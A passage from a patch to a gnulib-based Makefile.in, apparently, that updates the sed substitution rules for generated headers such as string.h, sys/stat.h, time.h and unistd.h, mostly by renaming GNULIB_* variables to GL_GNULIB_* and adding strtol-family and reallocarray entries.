$(top_builddir)/co + -e 's|@''HAVE_SETSTATE''@|$(HAVE_SETSTATE)|g' \ + -e 's|@''HAVE_DECL_SETSTATE''@|$(HAVE_DECL_SETSTATE)|g' \ + -e 's|@''HAVE_STRTOD''@|$(HAVE_STRTOD)|g' \ ++ -e 's|@''HAVE_STRTOL''@|$(HAVE_STRTOL)|g' \ + -e 's|@''HAVE_STRTOLD''@|$(HAVE_STRTOLD)|g' \ + -e 's|@''HAVE_STRTOLL''@|$(HAVE_STRTOLL)|g' \ ++ -e 's|@''HAVE_STRTOUL''@|$(HAVE_STRTOUL)|g' \ + -e 's|@''HAVE_STRTOULL''@|$(HAVE_STRTOULL)|g' \ + -e 's|@''HAVE_STRUCT_RANDOM_DATA''@|$(HAVE_STRUCT_RANDOM_DATA)|g' \ + -e 's|@''HAVE_SYS_LOADAVG_H''@|$(HAVE_SYS_LOADAVG_H)|g' \ +@@ -1337,11 +1448,16 @@ stdlib.h: stdlib.in.h $(top_builddir)/co + -e 's|@''REPLACE_RANDOM''@|$(REPLACE_RANDOM)|g' \ + -e 's|@''REPLACE_RANDOM_R''@|$(REPLACE_RANDOM_R)|g' \ + -e 's|@''REPLACE_REALLOC''@|$(REPLACE_REALLOC)|g' \ ++ -e 's|@''REPLACE_REALLOCARRAY''@|$(REPLACE_REALLOCARRAY)|g' \ + -e 's|@''REPLACE_REALPATH''@|$(REPLACE_REALPATH)|g' \ + -e 's|@''REPLACE_SETENV''@|$(REPLACE_SETENV)|g' \ + -e 's|@''REPLACE_SETSTATE''@|$(REPLACE_SETSTATE)|g' \ + -e 's|@''REPLACE_STRTOD''@|$(REPLACE_STRTOD)|g' \ ++ -e 's|@''REPLACE_STRTOL''@|$(REPLACE_STRTOL)|g' \ + -e 's|@''REPLACE_STRTOLD''@|$(REPLACE_STRTOLD)|g' \ ++ -e 's|@''REPLACE_STRTOLL''@|$(REPLACE_STRTOLL)|g' \ ++ -e 's|@''REPLACE_STRTOUL''@|$(REPLACE_STRTOUL)|g' \ ++ -e 's|@''REPLACE_STRTOULL''@|$(REPLACE_STRTOULL)|g' \ + -e 's|@''REPLACE_UNSETENV''@|$(REPLACE_UNSETENV)|g' \ + -e 's|@''REPLACE_WCTOMB''@|$(REPLACE_WCTOMB)|g' \ + -e '/definitions of _GL_FUNCDECL_RPL/r $(CXXDEFS_H)' \ +@@ -1444,49 +1560,49 @@ string.h: string.in.h $(top_builddir)/co + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_STRING_H''@|$(NEXT_STRING_H)|g' \ +- -e 's/@''GNULIB_EXPLICIT_BZERO''@/$(GNULIB_EXPLICIT_BZERO)/g' \ +- -e 's/@''GNULIB_FFSL''@/$(GNULIB_FFSL)/g' \ +- -e 's/@''GNULIB_FFSLL''@/$(GNULIB_FFSLL)/g' \ +- -e 's/@''GNULIB_MBSLEN''@/$(GNULIB_MBSLEN)/g' \ +- -e 's/@''GNULIB_MBSNLEN''@/$(GNULIB_MBSNLEN)/g' \ +- -e 's/@''GNULIB_MBSCHR''@/$(GNULIB_MBSCHR)/g' \ +- -e 's/@''GNULIB_MBSRCHR''@/$(GNULIB_MBSRCHR)/g' \ +- -e 's/@''GNULIB_MBSSTR''@/$(GNULIB_MBSSTR)/g' \ +- -e 's/@''GNULIB_MBSCASECMP''@/$(GNULIB_MBSCASECMP)/g' \ +- -e 's/@''GNULIB_MBSNCASECMP''@/$(GNULIB_MBSNCASECMP)/g' \ +- -e 's/@''GNULIB_MBSPCASECMP''@/$(GNULIB_MBSPCASECMP)/g' \ +- -e 's/@''GNULIB_MBSCASESTR''@/$(GNULIB_MBSCASESTR)/g' \ +- -e 's/@''GNULIB_MBSCSPN''@/$(GNULIB_MBSCSPN)/g' \ +- -e 's/@''GNULIB_MBSPBRK''@/$(GNULIB_MBSPBRK)/g' \ +- -e 's/@''GNULIB_MBSSPN''@/$(GNULIB_MBSSPN)/g' \ +- -e 's/@''GNULIB_MBSSEP''@/$(GNULIB_MBSSEP)/g' \ +- -e 's/@''GNULIB_MBSTOK_R''@/$(GNULIB_MBSTOK_R)/g' \ +- -e 's/@''GNULIB_MEMCHR''@/$(GNULIB_MEMCHR)/g' \ +- -e 's/@''GNULIB_MEMMEM''@/$(GNULIB_MEMMEM)/g' \ +- -e 's/@''GNULIB_MEMPCPY''@/$(GNULIB_MEMPCPY)/g' \ +- -e 's/@''GNULIB_MEMRCHR''@/$(GNULIB_MEMRCHR)/g' \ +- -e 's/@''GNULIB_RAWMEMCHR''@/$(GNULIB_RAWMEMCHR)/g' \ +- -e 's/@''GNULIB_STPCPY''@/$(GNULIB_STPCPY)/g' \ +- -e 's/@''GNULIB_STPNCPY''@/$(GNULIB_STPNCPY)/g' \ +- -e 's/@''GNULIB_STRCHRNUL''@/$(GNULIB_STRCHRNUL)/g' \ +- -e 's/@''GNULIB_STRDUP''@/$(GNULIB_STRDUP)/g' \ +- -e 's/@''GNULIB_STRNCAT''@/$(GNULIB_STRNCAT)/g' \ +- -e 's/@''GNULIB_STRNDUP''@/$(GNULIB_STRNDUP)/g' \ +- -e 's/@''GNULIB_STRNLEN''@/$(GNULIB_STRNLEN)/g' \ +- -e 's/@''GNULIB_STRPBRK''@/$(GNULIB_STRPBRK)/g' \ +- -e 's/@''GNULIB_STRSEP''@/$(GNULIB_STRSEP)/g' \ +- -e 's/@''GNULIB_STRSTR''@/$(GNULIB_STRSTR)/g' \ +- -e 's/@''GNULIB_STRCASESTR''@/$(GNULIB_STRCASESTR)/g' \ +- -e 's/@''GNULIB_STRTOK_R''@/$(GNULIB_STRTOK_R)/g' \ +- -e 's/@''GNULIB_STRERROR''@/$(GNULIB_STRERROR)/g' \ +- -e 's/@''GNULIB_STRERROR_R''@/$(GNULIB_STRERROR_R)/g' \ +- -e 's/@''GNULIB_STRERRORNAME_NP''@/$(GNULIB_STRERRORNAME_NP)/g' \ +- -e 's/@''GNULIB_SIGABBREV_NP''@/$(GNULIB_SIGABBREV_NP)/g' \ +- -e 's/@''GNULIB_SIGDESCR_NP''@/$(GNULIB_SIGDESCR_NP)/g' \ +- -e 's/@''GNULIB_STRSIGNAL''@/$(GNULIB_STRSIGNAL)/g' \ +- -e 's/@''GNULIB_STRVERSCMP''@/$(GNULIB_STRVERSCMP)/g' \ +- -e 's/@''GNULIB_MDA_MEMCCPY''@/$(GNULIB_MDA_MEMCCPY)/g' \ +- -e 's/@''GNULIB_MDA_STRDUP''@/$(GNULIB_MDA_STRDUP)/g' \ ++ -e 's/@''GNULIB_EXPLICIT_BZERO''@/$(GL_GNULIB_EXPLICIT_BZERO)/g' \ ++ -e 's/@''GNULIB_FFSL''@/$(GL_GNULIB_FFSL)/g' \ ++ -e 's/@''GNULIB_FFSLL''@/$(GL_GNULIB_FFSLL)/g' \ ++ -e 's/@''GNULIB_MBSLEN''@/$(GL_GNULIB_MBSLEN)/g' \ ++ -e 's/@''GNULIB_MBSNLEN''@/$(GL_GNULIB_MBSNLEN)/g' \ ++ -e 's/@''GNULIB_MBSCHR''@/$(GL_GNULIB_MBSCHR)/g' \ ++ -e 's/@''GNULIB_MBSRCHR''@/$(GL_GNULIB_MBSRCHR)/g' \ ++ -e 's/@''GNULIB_MBSSTR''@/$(GL_GNULIB_MBSSTR)/g' \ ++ -e 's/@''GNULIB_MBSCASECMP''@/$(GL_GNULIB_MBSCASECMP)/g' \ ++ -e 's/@''GNULIB_MBSNCASECMP''@/$(GL_GNULIB_MBSNCASECMP)/g' \ ++ -e 's/@''GNULIB_MBSPCASECMP''@/$(GL_GNULIB_MBSPCASECMP)/g' \ ++ -e 's/@''GNULIB_MBSCASESTR''@/$(GL_GNULIB_MBSCASESTR)/g' \ ++ -e 's/@''GNULIB_MBSCSPN''@/$(GL_GNULIB_MBSCSPN)/g' \ ++ -e 's/@''GNULIB_MBSPBRK''@/$(GL_GNULIB_MBSPBRK)/g' \ ++ -e 's/@''GNULIB_MBSSPN''@/$(GL_GNULIB_MBSSPN)/g' \ ++ -e 's/@''GNULIB_MBSSEP''@/$(GL_GNULIB_MBSSEP)/g' \ ++ -e 's/@''GNULIB_MBSTOK_R''@/$(GL_GNULIB_MBSTOK_R)/g' \ ++ -e 's/@''GNULIB_MEMCHR''@/$(GL_GNULIB_MEMCHR)/g' \ ++ -e 's/@''GNULIB_MEMMEM''@/$(GL_GNULIB_MEMMEM)/g' \ ++ -e 's/@''GNULIB_MEMPCPY''@/$(GL_GNULIB_MEMPCPY)/g' \ ++ -e 's/@''GNULIB_MEMRCHR''@/$(GL_GNULIB_MEMRCHR)/g' \ ++ -e 's/@''GNULIB_RAWMEMCHR''@/$(GL_GNULIB_RAWMEMCHR)/g' \ ++ -e 's/@''GNULIB_STPCPY''@/$(GL_GNULIB_STPCPY)/g' \ ++ -e 's/@''GNULIB_STPNCPY''@/$(GL_GNULIB_STPNCPY)/g' \ ++ -e 's/@''GNULIB_STRCHRNUL''@/$(GL_GNULIB_STRCHRNUL)/g' \ ++ -e 's/@''GNULIB_STRDUP''@/$(GL_GNULIB_STRDUP)/g' \ ++ -e 's/@''GNULIB_STRNCAT''@/$(GL_GNULIB_STRNCAT)/g' \ ++ -e 's/@''GNULIB_STRNDUP''@/$(GL_GNULIB_STRNDUP)/g' \ ++ -e 's/@''GNULIB_STRNLEN''@/$(GL_GNULIB_STRNLEN)/g' \ ++ -e 's/@''GNULIB_STRPBRK''@/$(GL_GNULIB_STRPBRK)/g' \ ++ -e 's/@''GNULIB_STRSEP''@/$(GL_GNULIB_STRSEP)/g' \ ++ -e 's/@''GNULIB_STRSTR''@/$(GL_GNULIB_STRSTR)/g' \ ++ -e 's/@''GNULIB_STRCASESTR''@/$(GL_GNULIB_STRCASESTR)/g' \ ++ -e 's/@''GNULIB_STRTOK_R''@/$(GL_GNULIB_STRTOK_R)/g' \ ++ -e 's/@''GNULIB_STRERROR''@/$(GL_GNULIB_STRERROR)/g' \ ++ -e 's/@''GNULIB_STRERROR_R''@/$(GL_GNULIB_STRERROR_R)/g' \ ++ -e 's/@''GNULIB_STRERRORNAME_NP''@/$(GL_GNULIB_STRERRORNAME_NP)/g' \ ++ -e 's/@''GNULIB_SIGABBREV_NP''@/$(GL_GNULIB_SIGABBREV_NP)/g' \ ++ -e 's/@''GNULIB_SIGDESCR_NP''@/$(GL_GNULIB_SIGDESCR_NP)/g' \ ++ -e 's/@''GNULIB_STRSIGNAL''@/$(GL_GNULIB_STRSIGNAL)/g' \ ++ -e 's/@''GNULIB_STRVERSCMP''@/$(GL_GNULIB_STRVERSCMP)/g' \ ++ -e 's/@''GNULIB_MDA_MEMCCPY''@/$(GL_GNULIB_MDA_MEMCCPY)/g' \ ++ -e 's/@''GNULIB_MDA_STRDUP''@/$(GL_GNULIB_MDA_STRDUP)/g' \ + < $(srcdir)/string.in.h | \ + sed -e 's|@''HAVE_EXPLICIT_BZERO''@|$(HAVE_EXPLICIT_BZERO)|g' \ + -e 's|@''HAVE_FFSL''@|$(HAVE_FFSL)|g' \ +@@ -1556,7 +1672,7 @@ strings.h: strings.in.h $(top_builddir)/ + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_STRINGS_H''@|$(NEXT_STRINGS_H)|g' \ +- -e 's/@''GNULIB_FFS''@/$(GNULIB_FFS)/g' \ ++ -e 's/@''GNULIB_FFS''@/$(GL_GNULIB_FFS)/g' \ + -e 's|@''HAVE_FFS''@|$(HAVE_FFS)|g' \ + -e 's|@''HAVE_STRCASECMP''@|$(HAVE_STRCASECMP)|g' \ + -e 's|@''HAVE_DECL_STRNCASECMP''@|$(HAVE_DECL_STRNCASECMP)|g' \ +@@ -1638,25 +1754,25 @@ sys/stat.h: sys_stat.in.h $(top_builddir + -e 's|@''NEXT_SYS_STAT_H''@|$(NEXT_SYS_STAT_H)|g' \ + -e 's|@''WINDOWS_64_BIT_ST_SIZE''@|$(WINDOWS_64_BIT_ST_SIZE)|g' \ + -e 's|@''WINDOWS_STAT_TIMESPEC''@|$(WINDOWS_STAT_TIMESPEC)|g' \ +- -e 's/@''GNULIB_FCHMODAT''@/$(GNULIB_FCHMODAT)/g' \ +- -e 's/@''GNULIB_FSTAT''@/$(GNULIB_FSTAT)/g' \ +- -e 's/@''GNULIB_FSTATAT''@/$(GNULIB_FSTATAT)/g' \ +- -e 's/@''GNULIB_FUTIMENS''@/$(GNULIB_FUTIMENS)/g' \ +- -e 's/@''GNULIB_GETUMASK''@/$(GNULIB_GETUMASK)/g' \ +- -e 's/@''GNULIB_LCHMOD''@/$(GNULIB_LCHMOD)/g' \ +- -e 's/@''GNULIB_LSTAT''@/$(GNULIB_LSTAT)/g' \ +- -e 's/@''GNULIB_MKDIR''@/$(GNULIB_MKDIR)/g' \ +- -e 's/@''GNULIB_MKDIRAT''@/$(GNULIB_MKDIRAT)/g' \ +- -e 's/@''GNULIB_MKFIFO''@/$(GNULIB_MKFIFO)/g' \ +- -e 's/@''GNULIB_MKFIFOAT''@/$(GNULIB_MKFIFOAT)/g' \ +- -e 's/@''GNULIB_MKNOD''@/$(GNULIB_MKNOD)/g' \ +- -e 's/@''GNULIB_MKNODAT''@/$(GNULIB_MKNODAT)/g' \ +- -e 's/@''GNULIB_STAT''@/$(GNULIB_STAT)/g' \ +- -e 's/@''GNULIB_UTIMENSAT''@/$(GNULIB_UTIMENSAT)/g' \ +- -e 's/@''GNULIB_OVERRIDES_STRUCT_STAT''@/$(GNULIB_OVERRIDES_STRUCT_STAT)/g' \ +- -e 's/@''GNULIB_MDA_CHMOD''@/$(GNULIB_MDA_CHMOD)/g' \ +- -e 's/@''GNULIB_MDA_MKDIR''@/$(GNULIB_MDA_MKDIR)/g' \ +- -e 's/@''GNULIB_MDA_UMASK''@/$(GNULIB_MDA_UMASK)/g' \ ++ -e 's/@''GNULIB_FCHMODAT''@/$(GL_GNULIB_FCHMODAT)/g' \ ++ -e 's/@''GNULIB_FSTAT''@/$(GL_GNULIB_FSTAT)/g' \ ++ -e 's/@''GNULIB_FSTATAT''@/$(GL_GNULIB_FSTATAT)/g' \ ++ -e 's/@''GNULIB_FUTIMENS''@/$(GL_GNULIB_FUTIMENS)/g' \ ++ -e 's/@''GNULIB_GETUMASK''@/$(GL_GNULIB_GETUMASK)/g' \ ++ -e 's/@''GNULIB_LCHMOD''@/$(GL_GNULIB_LCHMOD)/g' \ ++ -e 's/@''GNULIB_LSTAT''@/$(GL_GNULIB_LSTAT)/g' \ ++ -e 's/@''GNULIB_MKDIR''@/$(GL_GNULIB_MKDIR)/g' \ ++ -e 's/@''GNULIB_MKDIRAT''@/$(GL_GNULIB_MKDIRAT)/g' \ ++ -e 's/@''GNULIB_MKFIFO''@/$(GL_GNULIB_MKFIFO)/g' \ ++ -e 's/@''GNULIB_MKFIFOAT''@/$(GL_GNULIB_MKFIFOAT)/g' \ ++ -e 's/@''GNULIB_MKNOD''@/$(GL_GNULIB_MKNOD)/g' \ ++ -e 's/@''GNULIB_MKNODAT''@/$(GL_GNULIB_MKNODAT)/g' \ ++ -e 's/@''GNULIB_STAT''@/$(GL_GNULIB_STAT)/g' \ ++ -e 's/@''GNULIB_UTIMENSAT''@/$(GL_GNULIB_UTIMENSAT)/g' \ ++ -e 's/@''GNULIB_OVERRIDES_STRUCT_STAT''@/$(GL_GNULIB_OVERRIDES_STRUCT_STAT)/g' \ ++ -e 's/@''GNULIB_MDA_CHMOD''@/$(GL_GNULIB_MDA_CHMOD)/g' \ ++ -e 's/@''GNULIB_MDA_MKDIR''@/$(GL_GNULIB_MDA_MKDIR)/g' \ ++ -e 's/@''GNULIB_MDA_UMASK''@/$(GL_GNULIB_MDA_UMASK)/g' \ + -e 's|@''HAVE_FCHMODAT''@|$(HAVE_FCHMODAT)|g' \ + -e 's|@''HAVE_FSTATAT''@|$(HAVE_FSTATAT)|g' \ + -e 's|@''HAVE_FUTIMENS''@|$(HAVE_FUTIMENS)|g' \ +@@ -1744,18 +1860,18 @@ time.h: time.in.h $(top_builddir)/config + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_TIME_H''@|$(NEXT_TIME_H)|g' \ +- -e 's/@''GNULIB_CTIME''@/$(GNULIB_CTIME)/g' \ +- -e 's/@''GNULIB_LOCALTIME''@/$(GNULIB_LOCALTIME)/g' \ +- -e 's/@''GNULIB_MKTIME''@/$(GNULIB_MKTIME)/g' \ +- -e 's/@''GNULIB_NANOSLEEP''@/$(GNULIB_NANOSLEEP)/g' \ +- -e 's/@''GNULIB_STRFTIME''@/$(GNULIB_STRFTIME)/g' \ +- -e 's/@''GNULIB_STRPTIME''@/$(GNULIB_STRPTIME)/g' \ +- -e 's/@''GNULIB_TIMEGM''@/$(GNULIB_TIMEGM)/g' \ +- -e 's/@''GNULIB_TIMESPEC_GET''@/$(GNULIB_TIMESPEC_GET)/g' \ +- -e 's/@''GNULIB_TIME_R''@/$(GNULIB_TIME_R)/g' \ +- -e 's/@''GNULIB_TIME_RZ''@/$(GNULIB_TIME_RZ)/g' \ +- -e 's/@''GNULIB_TZSET''@/$(GNULIB_TZSET)/g' \ +- -e 's/@''GNULIB_MDA_TZSET''@/$(GNULIB_MDA_TZSET)/g' \ ++ -e 's/@''GNULIB_CTIME''@/$(GL_GNULIB_CTIME)/g' \ ++ -e 's/@''GNULIB_LOCALTIME''@/$(GL_GNULIB_LOCALTIME)/g' \ ++ -e 's/@''GNULIB_MKTIME''@/$(GL_GNULIB_MKTIME)/g' \ ++ -e 's/@''GNULIB_NANOSLEEP''@/$(GL_GNULIB_NANOSLEEP)/g' \ ++ -e 's/@''GNULIB_STRFTIME''@/$(GL_GNULIB_STRFTIME)/g' \ ++ -e 's/@''GNULIB_STRPTIME''@/$(GL_GNULIB_STRPTIME)/g' \ ++ -e 's/@''GNULIB_TIMEGM''@/$(GL_GNULIB_TIMEGM)/g' \ ++ -e 's/@''GNULIB_TIMESPEC_GET''@/$(GL_GNULIB_TIMESPEC_GET)/g' \ ++ -e 's/@''GNULIB_TIME_R''@/$(GL_GNULIB_TIME_R)/g' \ ++ -e 's/@''GNULIB_TIME_RZ''@/$(GL_GNULIB_TIME_RZ)/g' \ ++ -e 's/@''GNULIB_TZSET''@/$(GL_GNULIB_TZSET)/g' \ ++ -e 's/@''GNULIB_MDA_TZSET''@/$(GL_GNULIB_MDA_TZSET)/g' \ + -e 's|@''HAVE_DECL_LOCALTIME_R''@|$(HAVE_DECL_LOCALTIME_R)|g' \ + -e 's|@''HAVE_NANOSLEEP''@|$(HAVE_NANOSLEEP)|g' \ + -e 's|@''HAVE_STRPTIME''@|$(HAVE_STRPTIME)|g' \ +@@ -1806,89 +1922,89 @@ unistd.h: unistd.in.h $(top_builddir)/co + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_UNISTD_H''@|$(NEXT_UNISTD_H)|g' \ + -e 's|@''WINDOWS_64_BIT_OFF_T''@|$(WINDOWS_64_BIT_OFF_T)|g' \ +- -e 's/@''GNULIB_ACCESS''@/$(GNULIB_ACCESS)/g' \ +- -e 's/@''GNULIB_CHDIR''@/$(GNULIB_CHDIR)/g' \ +- -e 's/@''GNULIB_CHOWN''@/$(GNULIB_CHOWN)/g' \ +- -e 's/@''GNULIB_CLOSE''@/$(GNULIB_CLOSE)/g' \ +- -e 's/@''GNULIB_COPY_FILE_RANGE''@/$(GNULIB_COPY_FILE_RANGE)/g' \ +- -e 's/@''GNULIB_DUP''@/$(GNULIB_DUP)/g' \ +- -e 's/@''GNULIB_DUP2''@/$(GNULIB_DUP2)/g' \ +- -e 's/@''GNULIB_DUP3''@/$(GNULIB_DUP3)/g' \ +- -e 's/@''GNULIB_ENVIRON''@/$(GNULIB_ENVIRON)/g' \ +- -e 's/@''GNULIB_EUIDACCESS''@/$(GNULIB_EUIDACCESS)/g' \ +- -e 's/@''GNULIB_EXECL''@/$(GNULIB_EXECL)/g' \ +- -e 's/@''GNULIB_EXECLE''@/$(GNULIB_EXECLE)/g' \ +- -e 's/@''GNULIB_EXECLP''@/$(GNULIB_EXECLP)/g' \ +- -e 's/@''GNULIB_EXECV''@/$(GNULIB_EXECV)/g' \ +- -e 's/@''GNULIB_EXECVE''@/$(GNULIB_EXECVE)/g' \ +- -e 's/@''GNULIB_EXECVP''@/$(GNULIB_EXECVP)/g' \ +- -e 's/@''GNULIB_EXECVPE''@/$(GNULIB_EXECVPE)/g' \ +- -e 's/@''GNULIB_FACCESSAT''@/$(GNULIB_FACCESSAT)/g' \ +- -e 's/@''GNULIB_FCHDIR''@/$(GNULIB_FCHDIR)/g' \ +- -e 's/@''GNULIB_FCHOWNAT''@/$(GNULIB_FCHOWNAT)/g' \ +- -e 's/@''GNULIB_FDATASYNC''@/$(GNULIB_FDATASYNC)/g' \ +- -e 's/@''GNULIB_FSYNC''@/$(GNULIB_FSYNC)/g' \ +- -e 's/@''GNULIB_FTRUNCATE''@/$(GNULIB_FTRUNCATE)/g' \ +- -e 's/@''GNULIB_GETCWD''@/$(GNULIB_GETCWD)/g' \ +- -e 's/@''GNULIB_GETDOMAINNAME''@/$(GNULIB_GETDOMAINNAME)/g' \ +- -e 's/@''GNULIB_GETDTABLESIZE''@/$(GNULIB_GETDTABLESIZE)/g' \ +- -e 's/@''GNULIB_GETENTROPY''@/$(GNULIB_GETENTROPY)/g' \ +- -e 's/@''GNULIB_GETGROUPS''@/$(GNULIB_GETGROUPS)/g' \ +- -e 's/@''GNULIB_GETHOSTNAME''@/$(GNULIB_GETHOSTNAME)/g' \ +- -e 's/@''GNULIB_GETLOGIN''@/$(GNULIB_GETLOGIN)/g' \ +- -e 's/@''GNULIB_GETLOGIN_R''@/$(GNULIB_GETLOGIN_R)/g' \ +- -e 's/@''GNULIB_GETOPT_POSIX''@/$(GNULIB_GETOPT_POSIX)/g' \ +- -e 's/@''GNULIB_GETPAGESIZE''@/$(GNULIB_GETPAGESIZE)/g' \ +- -e 's/@''GNULIB_GETPASS''@/$(GNULIB_GETPASS)/g' \ +- -e 's/@''GNULIB_GETUSERSHELL''@/$(GNULIB_GETUSERSHELL)/g' \ +- -e 's/@''GNULIB_GROUP_MEMBER''@/$(GNULIB_GROUP_MEMBER)/g' \ +- -e 's/@''GNULIB_ISATTY''@/$(GNULIB_ISATTY)/g' \ +- -e 's/@''GNULIB_LCHOWN''@/$(GNULIB_LCHOWN)/g' \ +- -e 's/@''GNULIB_LINK''@/$(GNULIB_LINK)/g' \ +- -e 's/@''GNULIB_LINKAT''@/$(GNULIB_LINKAT)/g' \ +- -e 's/@''GNULIB_LSEEK''@/$(GNULIB_LSEEK)/g' \ +- -e 's/@''GNULIB_PIPE''@/$(GNULIB_PIPE)/g' \ +- -e 's/@''GNULIB_PIPE2''@/$(GNULIB_PIPE2)/g' \ +- -e 's/@''GNULIB_PREAD''@/$(GNULIB_PREAD)/g' \ +- -e 's/@''GNULIB_PWRITE''@/$(GNULIB_PWRITE)/g' \ +- -e 's/@''GNULIB_READ''@/$(GNULIB_READ)/g' \ +- -e 's/@''GNULIB_READLINK''@/$(GNULIB_READLINK)/g' \ +- -e 's/@''GNULIB_READLINKAT''@/$(GNULIB_READLINKAT)/g' \ +- -e 's/@''GNULIB_RMDIR''@/$(GNULIB_RMDIR)/g' \ +- -e 's/@''GNULIB_SETHOSTNAME''@/$(GNULIB_SETHOSTNAME)/g' \ +- -e 's/@''GNULIB_SLEEP''@/$(GNULIB_SLEEP)/g' \ +- -e 's/@''GNULIB_SYMLINK''@/$(GNULIB_SYMLINK)/g' \ +- -e 's/@''GNULIB_SYMLINKAT''@/$(GNULIB_SYMLINKAT)/g' \ +- -e 's/@''GNULIB_TRUNCATE''@/$(GNULIB_TRUNCATE)/g' \ +- -e 's/@''GNULIB_TTYNAME_R''@/$(GNULIB_TTYNAME_R)/g' \ +- -e 's/@''GNULIB_UNISTD_H_GETOPT''@/0$(GNULIB_GL_UNISTD_H_GETOPT)/g' \ +- -e 's/@''GNULIB_UNISTD_H_NONBLOCKING''@/$(GNULIB_UNISTD_H_NONBLOCKING)/g' \ +- -e 's/@''GNULIB_UNISTD_H_SIGPIPE''@/$(GNULIB_UNISTD_H_SIGPIPE)/g' \ +- -e 's/@''GNULIB_UNLINK''@/$(GNULIB_UNLINK)/g' \ +- -e 's/@''GNULIB_UNLINKAT''@/$(GNULIB_UNLINKAT)/g' \ +- -e 's/@''GNULIB_USLEEP''@/$(GNULIB_USLEEP)/g' \ +- -e 's/@''GNULIB_WRITE''@/$(GNULIB_WRITE)/g' \ +- -e 's/@''GNULIB_MDA_ACCESS''@/$(GNULIB_MDA_ACCESS)/g' \ +- -e 's/@''GNULIB_MDA_CHDIR''@/$(GNULIB_MDA_CHDIR)/g' \ +- -e 's/@''GNULIB_MDA_CLOSE''@/$(GNULIB_MDA_CLOSE)/g' \ +- -e 's/@''GNULIB_MDA_DUP''@/$(GNULIB_MDA_DUP)/g' \ +- -e 's/@''GNULIB_MDA_DUP2''@/$(GNULIB_MDA_DUP2)/g' \ +- -e 's/@''GNULIB_MDA_EXECL''@/$(GNULIB_MDA_EXECL)/g' \ +- -e 's/@''GNULIB_MDA_EXECLE''@/$(GNULIB_MDA_EXECLE)/g' \ +- -e 's/@''GNULIB_MDA_EXECLP''@/$(GNULIB_MDA_EXECLP)/g' \ +- -e 's/@''GNULIB_MDA_EXECV''@/$(GNULIB_MDA_EXECV)/g' \ +- -e 's/@''GNULIB_MDA_EXECVE''@/$(GNULIB_MDA_EXECVE)/g' \ +- -e 's/@''GNULIB_MDA_EXECVP''@/$(GNULIB_MDA_EXECVP)/g' \ +- -e 's/@''GNULIB_MDA_EXECVPE''@/$(GNULIB_MDA_EXECVPE)/g' \ +- -e 's/@''GNULIB_MDA_GETCWD''@/$(GNULIB_MDA_GETCWD)/g' \ +- -e 's/@''GNULIB_MDA_GETPID''@/$(GNULIB_MDA_GETPID)/g' \ +- -e 's/@''GNULIB_MDA_ISATTY''@/$(GNULIB_MDA_ISATTY)/g' \ +- -e 's/@''GNULIB_MDA_LSEEK''@/$(GNULIB_MDA_LSEEK)/g' \ +- -e 's/@''GNULIB_MDA_READ''@/$(GNULIB_MDA_READ)/g' \ +- -e 's/@''GNULIB_MDA_RMDIR''@/$(GNULIB_MDA_RMDIR)/g' \ +- -e 's/@''GNULIB_MDA_SWAB''@/$(GNULIB_MDA_SWAB)/g' \ +- -e 's/@''GNULIB_MDA_UNLINK''@/$(GNULIB_MDA_UNLINK)/g' \ +- -e 's/@''GNULIB_MDA_WRITE''@/$(GNULIB_MDA_WRITE)/g' \ ++ -e 's/@''GNULIB_ACCESS''@/$(GL_GNULIB_ACCESS)/g' \ ++ -e 's/@''GNULIB_CHDIR''@/$(GL_GNULIB_CHDIR)/g' \ ++ -e 's/@''GNULIB_CHOWN''@/$(GL_GNULIB_CHOWN)/g' \ ++ -e 's/@''GNULIB_CLOSE''@/$(GL_GNULIB_CLOSE)/g' \ ++ -e 's/@''GNULIB_COPY_FILE_RANGE''@/$(GL_GNULIB_COPY_FILE_RANGE)/g' \ ++ -e 's/@''GNULIB_DUP''@/$(GL_GNULIB_DUP)/g' \ ++ -e 's/@''GNULIB_DUP2''@/$(GL_GNULIB_DUP2)/g' \ ++ -e 's/@''GNULIB_DUP3''@/$(GL_GNULIB_DUP3)/g' \ ++ -e 's/@''GNULIB_ENVIRON''@/$(GL_GNULIB_ENVIRON)/g' \ ++ -e 's/@''GNULIB_EUIDACCESS''@/$(GL_GNULIB_EUIDACCESS)/g' \ ++ -e 's/@''GNULIB_EXECL''@/$(GL_GNULIB_EXECL)/g' \ ++ -e 's/@''GNULIB_EXECLE''@/$(GL_GNULIB_EXECLE)/g' \ ++ -e 's/@''GNULIB_EXECLP''@/$(GL_GNULIB_EXECLP)/g' \ ++ -e 's/@''GNULIB_EXECV''@/$(GL_GNULIB_EXECV)/g' \ ++ -e 's/@''GNULIB_EXECVE''@/$(GL_GNULIB_EXECVE)/g' \ ++ -e 's/@''GNULIB_EXECVP''@/$(GL_GNULIB_EXECVP)/g' \ ++ -e 's/@''GNULIB_EXECVPE''@/$(GL_GNULIB_EXECVPE)/g' \ ++ -e 's/@''GNULIB_FACCESSAT''@/$(GL_GNULIB_FACCESSAT)/g' \ ++ -e 's/@''GNULIB_FCHDIR''@/$(GL_GNULIB_FCHDIR)/g' \ ++ -e 's/@''GNULIB_FCHOWNAT''@/$(GL_GNULIB_FCHOWNAT)/g' \ ++ -e 's/@''GNULIB_FDATASYNC''@/$(GL_GNULIB_FDATASYNC)/g' \ ++ -e 's/@''GNULIB_FSYNC''@/$(GL_GNULIB_FSYNC)/g' \ ++ -e 's/@''GNULIB_FTRUNCATE''@/$(GL_GNULIB_FTRUNCATE)/g' \ ++ -e 's/@''GNULIB_GETCWD''@/$(GL_GNULIB_GETCWD)/g' \ ++ -e 's/@''GNULIB_GETDOMAINNAME''@/$(GL_GNULIB_GETDOMAINNAME)/g' \ ++ -e 's/@''GNULIB_GETDTABLESIZE''@/$(GL_GNULIB_GETDTABLESIZE)/g' \ ++ -e 's/@''GNULIB_GETENTROPY''@/$(GL_GNULIB_GETENTROPY)/g' \ ++ -e 's/@''GNULIB_GETGROUPS''@/$(GL_GNULIB_GETGROUPS)/g' \ ++ -e 